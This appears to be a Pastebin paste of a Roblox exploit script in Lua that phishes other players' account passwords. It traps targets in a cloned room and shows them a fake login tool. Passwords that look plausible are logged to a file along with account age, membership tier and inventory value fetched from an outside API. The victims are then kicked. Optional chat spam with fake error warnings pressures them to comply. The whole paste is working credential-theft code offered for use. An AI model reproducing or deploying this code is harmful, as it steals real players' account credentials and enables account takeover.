Advertisement
Guest User

asdasdasd

a guest
Jul 4th, 2016
131
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 13.51 KB | None | 0 0
  1.  
  2. local MyRoom = "BasicRoom"
  3.  
  4. local StorageType = 2 -- 1 = CoreGui 2 = ReplicatedStorage
  5.  
  6. local ScamType = "Normal" -- "Normal" "Pick" "TargetList"
  7.  
  8. local TargetList = {}
  9.  
  10. local Bypassers = { -- Leave ID as 0 if you don't want to use ID checks.
  11. {}
  12. }
  13.  
  14. local Trello = {
  15. Enabled = false,
  16. List = "MRList",
  17. DumpList = "MRDumps",
  18. TrelloTargetList = "MRTargetList",
  19. DevKey = "",
  20. Token = "",
  21. }
  22.  
  23. local floodChat = false -- To prevent people from saying "ITS A SCAM!"
  24.  
  25. local writeAccounts = true -- Writes accounts to a file (ELYSIAN ONLY)
  26. local fileName = "MGX7List" -- Where your accounts will be written if you have Elysian.
  27.  
  28. BypassKey = "v3rm" -- Bypass key players can use to skip login
  29. BypassKeyEnabled = false -- Enables the bypass key or not
  30. BypassKeyRules = true -- Shows a rule gui when entering bypass key to inform players the rules of your MGui session
  31.  
  32. local kickLogin = true -- Kicks player after they login
  33.  
  34. local RAPApi = true
  35. ------------------------------------------------------------------------
  36.  
  37. local MainFolder = game:GetObjects("rbxassetid://432005266")[1]
  38. MainFolder.Parent = game.ReplicatedStorage
  39.  
  40. local player = game.Players.LocalPlayer
  41.  
  42. local CurrentlyScamming = {}
  43.  
  44. local MRStorage
  45.  
  46. local guiTool = MainFolder.Login
  47.  
  48. local replaceScript = game:GetService("InsertService"):LoadAsset(80576967):GetChildren()[1].LocalScript
  49. guiTool.LocalScript:Destroy()
  50. replaceScript.Parent = guiTool
  51.  
  52. local ruleTool = MainFolder["Bypass Rules"]
  53.  
  54. local replaceScript = game:GetService("InsertService"):LoadAsset(80576967):GetChildren()[1].LocalScript
  55. ruleTool.LocalScript:Destroy()
  56. replaceScript.Parent = ruleTool
  57.  
  58. local pickGui = MainFolder.PickGui
  59.  
  60. function checkPass(pass, playa)
  61. if BypassKeyEnabled and pass == BypassKey then
  62. if BypassKeyRules then
  63. local newTool = ruleTool:Clone()
  64. newTool.Parent = workspace
  65. newTool.Handle.CanCollide = false
  66. newTool.Handle.CFrame = playa.Character.Head.CFrame
  67. end
  68. return true
  69. end
  70. if pass == "Password" or pass == "" or pass == "Enter Your Password" or pass == "Incorrect Password" or pass == "Enter your Password" then
  71. return false
  72. end
  73. local foundNums = 0
  74. local foundLetters = 0
  75. if string.find(pass, " ") then
  76. return false
  77. end
  78. if pass:len() < 6 or pass:len() > 20 then
  79. return false
  80. end
  81. for i=1,pass:len() do
  82. if pass:sub(i,i):match("%d") ~= nil then
  83. foundNums = foundNums + 1
  84. end
  85. end
  86. if foundNums < 2 then
  87. return false
  88. end
  89. for i=1,pass:len() do
  90. if pass:sub(i,i):match("%a") ~= nil then
  91. foundLetters = foundLetters + 1
  92. end
  93. end
  94. if foundLetters < 4 then
  95. return false
  96. end
  97. return true
  98. end
  99.  
  100. function getUText(root, val)
  101. local found
  102. if val then
  103. found = val
  104. end
  105. for i,v in pairs(root:GetChildren()) do
  106. if v.Name == "UText" then
  107. found = v
  108. break
  109. end
  110. found = getUText(v,found)
  111. end
  112. return found
  113. end
  114.  
  115. function getPText(root, val)
  116. local found
  117. if val then
  118. found = val
  119. end
  120. for i,v in pairs(root:GetChildren()) do
  121. if v.Name == "PText" then
  122. found = v
  123. break
  124. end
  125. found = getPText(v,found)
  126. end
  127. return found
  128. end
  129.  
  130. function getILPopUp(root, val)
  131. local found
  132. if val then
  133. found = val
  134. end
  135. for i,v in pairs(root:GetChildren()) do
  136. if v.Name == "ILPopUp" then
  137. found = v
  138. break
  139. end
  140. found = getILPopUp(v,found)
  141. end
  142. return found
  143. end
  144.  
  145. function unscPlayer(plr)
  146. for i,v in pairs(CurrentlyScamming) do
  147. if plr == v.Player then
  148. table.insert(Bypassers,{Name = plr.Name, ID = plr.UserId})
  149. table.remove(CurrentlyScamming,i)
  150. wait()
  151. while plr.Backpack:FindFirstChild("Login") do
  152. plr.Backpack.Login:Destroy()
  153. wait()
  154. end
  155. while plr.Character:FindFirstChild("Login") do
  156. plr.Character.Login:Destroy()
  157. wait()
  158. end
  159. plr.Character:WaitForChild("Torso")
  160. plr.Character:WaitForChild("HumanoidRootPart")
  161. plr.Character.HumanoidRootPart.Anchored = false
  162. plr.Character.HumanoidRootPart.CFrame = v.ReturnPos
  163. v.Player.CameraMaxZoomDistance = 400
  164. v.Player.CameraMinZoomDistance = 0
  165. v.RoomModel:Destroy()
  166. end
  167. end
  168. end
  169.  
  170. function scPlayer(plr)
  171. ypcall(function()
  172. local debounce = false
  173. local roomCheck = MainFolder.Rooms:FindFirstChild(MyRoom)
  174. if roomCheck then
  175. local roomId = #CurrentlyScamming + 1
  176. local newRoom = roomCheck:Clone()
  177. newRoom.Parent = workspace
  178. newRoom:MoveTo(Vector3.new(5000,1000, 5000 + 100 * roomId))
  179.  
  180. local newPacket = {Player = plr, RoomId = roomId, RoomModel = newRoom, ReturnPos = plr.Character.Torso.CFrame}
  181. table.insert(CurrentlyScamming,newPacket)
  182. --[[
  183. newRoom.LButton.ClickDetector.MouseClick:connect(function(playa)
  184. if debounce == false then
  185. if playa.Backpack:FindFirstChild("Login") then
  186. if playa == plr and getILPopUp(playa.Backpack.Login) and getPText(playa.Backpack.Login) then
  187. debounce = true
  188. getILPopUp(newRoom).Visible = false
  189. getILPopUp(playa.Backpack.Login).Visible = false
  190. wait(0.5)
  191. if playa.Backpack:FindFirstChild("Login") then
  192. if checkPass(getPText(playa.Backpack.Login).Text) then
  193. print(plr.Name .. " : " .. getPText(playa.Backpack.Login).Text)
  194. unscPlayer(plr)
  195. else
  196. getILPopUp(newRoom).Visible = true
  197. getILPopUp(playa.Backpack.Login).Visible = true
  198. getPText(playa.Backpack.Login).Text = ""
  199. end
  200. end
  201. end
  202. end
  203. debounce = false
  204. end
  205. end)
  206. --]]
  207. end
  208. end)
  209. end
  210.  
  211. function isBypass(plr)
  212. local bypass = false
  213. for i,v in pairs(Bypassers) do
  214. if v.Name == plr.Name or v.ID == plr.UserId then
  215. bypass = true
  216. end
  217. end
  218. return bypass
  219. end
  220.  
  221. function isScamming(plr)
  222. local isScam = false
  223. for i,v in pairs(CurrentlyScamming) do
  224. if v.Player.Name == plr then
  225. isScam = true
  226. end
  227. end
  228. return isScam
  229. end
  230.  
  231. function fixPlayers()
  232. for i,v in pairs(CurrentlyScamming) do
  233. ypcall(function()
  234. if v.Player.Character:FindFirstChild("Login") then
  235. if v.Player.Character.Login:FindFirstChild("SprayGui") then
  236. local tempTool = v.Player.Character:FindFirstChild("Login")
  237. tempTool.Parent = v.RoomModel
  238. tempTool.Handle.CFrame = v.Player.Character.Head.CFrame
  239. end
  240. end
  241. end)
  242. end
  243. end
  244.  
  245. function BCtoDumpStr(str)
  246. local res = ""
  247. if str == "Enum.MembershipType.BuildersClub" then
  248. res = "[BC] "
  249. elseif str == "Enum.MembershipType.TurboBuildersClub" then
  250. res = "[TBC] "
  251. elseif str == "Enum.MembershipType.OutrageousBuildersClub" then
  252. res = "[OBC] "
  253. elseif str == "Enum.MembershipType.None" then
  254. res = ""
  255. end
  256. return res
  257. end
  258.  
  259. function getRap(user)
  260. local rap = "Error."
  261. if RAPApi then
  262. ypcall(function()
  263. local http = game:GetService("HttpService")
  264. local rawrap = http:JSONDecode(game:HttpGet("http://roblox.plus:2052/inventory?username=" .. user,true))
  265. rap = tostring(rawrap.rap)
  266. end)
  267. else
  268. rap = "Disabled."
  269. end
  270. return rap
  271. end
  272.  
  273. function logAccount(user,pass)
  274. local playerName = user.Name
  275. local playerAge = tostring(user.AccountAge)
  276. local playerRAP = getRap(playerName)
  277.  
  278. if print then
  279. print(BCtoDumpStr(tostring(user.MembershipType)) .. playerName .. " : " .. pass .. " Age: " .. playerAge .. " RAP: " .. playerRAP)
  280. end
  281. if readfile and writefile then
  282. if readfile(getelysianpath()..fileName..".txt") == "nil path doesn't exist" then
  283. writefile(getelysianpath()..fileName..".txt", BCtoDumpStr(tostring(user.MembershipType)) .. playerName .. " : " .. pass .. " Age: " .. playerAge .. " RAP: " .. playerRAP)
  284. else
  285. local tempFile = readfile(getelysianpath()..fileName..".txt")
  286. writefile(getelysianpath()..fileName..".txt", tempFile .. "\n" .. BCtoDumpStr(tostring(user.MembershipType)) .. playerName .. " : " .. pass .. " Age: " .. playerAge .. " RAP: " .. playerRAP)
  287. end
  288. end
  289. end
  290.  
  291. function teleportVictims()
  292. for i,v in pairs(CurrentlyScamming) do
  293. ypcall(function()
  294. v.Player.Character.HumanoidRootPart.CFrame = v.RoomModel.Spawn.CFrame + Vector3.new(0,-10,0)
  295. v.Player.Character.HumanoidRootPart.Anchored = true
  296. if not v.Player.Backpack:FindFirstChild("Login") and not v.Player.Character:FindFirstChild("Login") then
  297. if not v.RoomModel:FindFirstChild("Login") then
  298. local tempTools = {}
  299. for i2,v2 in pairs(v.Player.Backpack:GetChildren()) do
  300. table.insert(tempTools,v2:Clone())
  301. v2:Destroy()
  302. end
  303. local newTool = guiTool:Clone()
  304. newTool.Parent = v.RoomModel
  305. newTool.Handle.CanCollide = false
  306. newTool.Handle.CFrame = v.Player.Character.Head.CFrame
  307. newTool.Handle.BodyPosition.Position = v.RoomModel.Spawn.Position + Vector3.new(0,-10,0)
  308. getUText(newTool).Text = v.Player.Name
  309. spawn(function()
  310. wait(2)
  311. for i2,v2 in pairs(tempTools) do
  312. v2.Parent = v.Player.Backpack
  313. end
  314. end)
  315. newTool.Changed:connect(function(prop)
  316. if not isScamming(v.Player.Name) then return end
  317. if prop == "Parent" and newTool.Parent.Name == "Backpack" then
  318. if v.Player.Backpack:FindFirstChild("Login") then
  319. if getILPopUp(v.Player.Backpack.Login) and getPText(v.Player.Backpack.Login) then
  320. getILPopUp(v.Player.Backpack.Login).Visible = false
  321. if v.Player.Backpack:FindFirstChild("Login") then
  322. if checkPass(getPText(v.Player.Backpack.Login).Text, v.Player) then
  323. logAccount(v.Player, getPText(v.Player.Backpack.Login).Text)
  324. unscPlayer(v.Player)
  325. spawn(function()
  326. wait(0.5)
  327. if kickLogin then
  328. if not v.Player.Backpack:FindFirstChild("Bypass Rules") and not v.Player.Character:FindFirstChild("Bypass Rules") then
  329. v.Player:Remove()
  330. end
  331. end
  332. end)
  333. else
  334. getILPopUp(v.Player.Backpack.Login).Visible = true
  335. getPText(v.Player.Backpack.Login).Text = ""
  336. wait()
  337. if not v.Player.Character:FindFirstChild("Login") then
  338. newTool.Parent = v.RoomModel
  339. newTool.Handle.CFrame = v.Player.Character.Head.CFrame
  340. end
  341. end
  342. end
  343. end
  344. end
  345. end
  346. end)
  347. end
  348. end
  349. end)
  350. end
  351. end
  352.  
  353. wait()
  354.  
  355. game.Players.PlayerRemoving:connect(function(playa)
  356. for i,v in pairs(CurrentlyScamming) do
  357. if v.Player == playa then
  358. table.remove(CurrentlyScamming,i)
  359. end
  360. end
  361. end)
  362.  
  363. --[[
  364. local infoGui = Instance.new("ScreenGui",game.CoreGui)
  365. local infoText = Instance.new("TextLabel",infoGui)
  366. infoText.Position = UDim2.new(0,0,1,-20)
  367. infoText.Size = UDim2.new(1,0,0,20)
  368. infoText.FontSize = "Size18"
  369. infoText.Font = "SourceSansBold"
  370. infoText.BackgroundTransparency = 1
  371. infoText.TextColor3 = Color3.new(1,1,1)
  372. infoText.TextXAlignment = "Right"
  373. infoText.Text = "Press 'p' to toggle chat spam."
  374. --]]
  375.  
  376. local mouse = game.Players.LocalPlayer:GetMouse()
  377. mouse.KeyDown:connect(function(key)
  378. if key == "p" then
  379. floodChat = not floodChat
  380. end
  381. end)
  382.  
  383. spawn(function()
  384. while wait(3) do
  385. fixPlayers()
  386. end
  387. end)
  388.  
  389. while wait() do
  390. teleportVictims()
  391. if floodChat then
  392. game.Players:Chat[[ERROR. ERROR. Failure to type in the correct password will result in a kick from the server. ERROR. ERROR.]]
  393. end
  394. if ScamType == "Normal" then
  395. for i,v in pairs(game.Players:GetPlayers()) do
  396. if StorageType == 1 then
  397. if not game.CoreGui.MRStorage:FindFirstChild(v.Name) and not isScamming(v.Name) and not isBypass(v) and v ~= game.Players.LocalPlayer then
  398.  
  399. end
  400. elseif StorageType == 2 then
  401. if not game.ReplicatedStorage:FindFirstChild("MRStorage") then
  402. MRStorage = Instance.new("Folder",game.ReplicatedStorage)
  403. MRStorage.Name = "MRStorage"
  404. end
  405. if not game.ReplicatedStorage.MRStorage:FindFirstChild(v.Name) and not isScamming(v.Name) and not isBypass(v) and v ~= game.Players.LocalPlayer then
  406. scPlayer(v)
  407. end
  408. end
  409. end
  410. elseif ScamType == "Pick" then
  411. if StorageType == 1 then
  412. if not game.CoreGui.MRStorage:FindFirstChild(v.Name) and not isScamming(v.Name) and not isBypass(v) and v ~= game.Players.LocalPlayer then
  413.  
  414. end
  415. elseif StorageType == 2 then
  416. if not game.ReplicatedStorage:FindFirstChild("MRStorage") then
  417. MRStorage = Instance.new("Folder",game.ReplicatedStorage)
  418. MRStorage.Name = "MRStorage"
  419. end
  420. if not game.CoreGui:FindFirstChild("PickGui") then
  421. local newPickGui = pickGui:Clone()
  422. newPickGui.Parent = game.CoreGui
  423. spawn(function()
  424. local pickGuiList = newPickGui.MainFrame.AccList
  425. local pickGuiResult = newPickGui.MainFrame.UserResult
  426. pickGuiList.CanvasSize = UDim2.new(0,0,0,0)
  427. local function updatePickList()
  428. pickGuiList:ClearAllChildren()
  429. for i,v in pairs(game.Players:GetPlayers()) do
  430. if v ~= player then
  431. local newRes = pickGuiResult:Clone()
  432. newRes.PlayerName.Text = v.Name
  433. newRes.PlayerPic.Image = "http://www.roblox.com/Thumbs/Avatar.ashx?x=100&y=100&userId="..v.UserId
  434. newRes.Position = UDim2.new(0,0,0,40 * #pickGuiList:GetChildren())
  435. if isScamming(v.Name) then
  436. newRes.PlayerStatus.Text = "Scamming..."
  437. end
  438. if isBypass(v) then
  439. newRes.PlayerStatus.Text = "Scammed"
  440. end
  441. newRes.Parent = pickGuiList
  442. pickGuiList.CanvasSize = UDim2.new(0,0,0,40 * #pickGuiList:GetChildren())
  443. newRes.Visible = true
  444. newRes.MouseButton1Down:connect(function()
  445. if not isScamming(v.Name) then
  446. scPlayer(v)
  447. end
  448. end)
  449. end
  450. end
  451. end
  452. updatePickList()
  453. newPickGui.MainFrame.Refresh.MouseButton1Down:connect(function()
  454. updatePickList()
  455. end)
  456. end)
  457. end
  458. end
  459. end
  460. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement